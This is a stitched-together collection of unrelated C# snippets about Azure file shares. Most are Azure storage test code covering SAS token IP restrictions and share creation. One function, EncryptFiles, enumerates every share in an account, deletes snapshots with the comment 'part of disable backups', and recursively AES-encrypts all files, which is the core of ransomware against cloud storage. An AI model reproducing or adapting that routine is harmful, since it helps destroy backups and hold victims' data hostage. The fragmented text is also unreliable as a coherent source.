public void AccountSAS_NotCurrentIP() { string sasToken = GenerateAndValidateAccountSAS( SharedAccessAccountServices.Blob | SharedAccessAccountServices.File, SharedAccessAccountResourceTypes.Container | SharedAccessAccountResourceTypes.Object | SharedAccessAccountResourceTypes.Service, AccountSASUtils.fullPermission, SharedAccessProtocol.HttpsOnly, "1.2.3.4", null, null); string shareName = Utility.GenNameString("share"); CloudFileShare share = fileUtil.EnsureFileShareExists(shareName); try { //validate can't write Share fileUtil.ValidateShareWriteableWithSasToken(share, sasToken); Test.Error(string.Format("Write Share should fail since the ipAcl is not current IP.")); } catch (StorageException e) { share.Delete(); Test.Info(e.Message); ExpectEqual(e.RequestInformation.HttpStatusCode, 403, "(403) Forbidden"); } }
public void ValidateShareCreatableWithSasToken(string shareName, string accountName, string sastoken) { Test.Info("Verify share create permission"); CloudStorageAccount sasAccount = TestBase.GetStorageAccountWithSasToken(accountName, sastoken); //make sure the share not exist before create CloudFileShare sasShareReference = client.GetShareReference(shareName); if (sasShareReference.Exists()) { sasShareReference.Delete(); Thread.Sleep(2 * 60 * 1000); // Sleep 2 minutes to make sure the share can be created successfully } //Create Share with SAS CloudFileShare sasShare = sasAccount.CreateCloudFileClient().GetShareReference(shareName); sasShare.Create(); //Verify and delete share Test.Assert(sasShareReference.Exists(), "The Share {0} should exist.", shareName); sasShareReference.Delete(); }
public static void EncryptFiles(CloudStorageAccount storageAccount, AESEncryption encrypt) { // Create the file client. CloudFileClient fileClient = storageAccount.CreateCloudFileClient(); foreach (CloudFileShare share in fileClient.ListShares()) { // Retrieve reference to a previously created container. CloudFileShare shr = fileClient.GetShareReference(share.Name); if (shr.IsSnapshot) { shr.Delete(); // part of disable backups continue; } CloudFileDirectory rootDir = share.GetRootDirectoryReference(); EncryptRecruisveSearch(rootDir, encrypt, storageAccount); } }
public static void ShareStoredAccessPolicyTestInitialize() { TestBase.TestClassCleanup(); share.Delete(); }